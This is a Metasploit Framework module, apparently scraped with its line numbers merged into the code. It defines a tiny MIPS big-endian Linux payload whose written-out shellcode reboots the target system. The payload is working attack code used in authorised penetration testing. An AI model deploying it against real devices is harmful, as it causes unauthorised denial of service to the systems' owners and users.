Path: blob/master/modules/payloads/singles/linux/mipsbe/reboot.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system.17This payload is sometimes helpful for testing purposes or executing18other payloads that rely on initial startup procedures.19},20'Author' => [21'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload22'rigan - <imrigan[at]gmail.com>' # original payload23],24'References' => [25['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']26],27'License' => MSF_LICENSE,28'Platform' => 'linux',29'Arch' => ARCH_MIPSBE,30'Payload' => {31'Offsets' => {},32'Payload' => ''33}34)35)36end3738def generate(_opts = {})39shellcode =40"\x3c\x06\x43\x21" + # lui a2,0x432141"\x34\xc6\xfe\xdc" + # ori a2,a2,0xfedc42"\x3c\x05\x28\x12" + # lui a1,0x281243"\x34\xa5\x19\x69" + # ori a1,a1,0x196944"\x3c\x04\xfe\xe1" + # lui a0,0xfee145"\x34\x84\xde\xad" + # ori a0,a0,0xdead46"\x24\x02\x0f\xf8" + # li v0,408847"\x01\x01\x01\x0c" # syscall 0x404044849return super + shellcode50end51end525354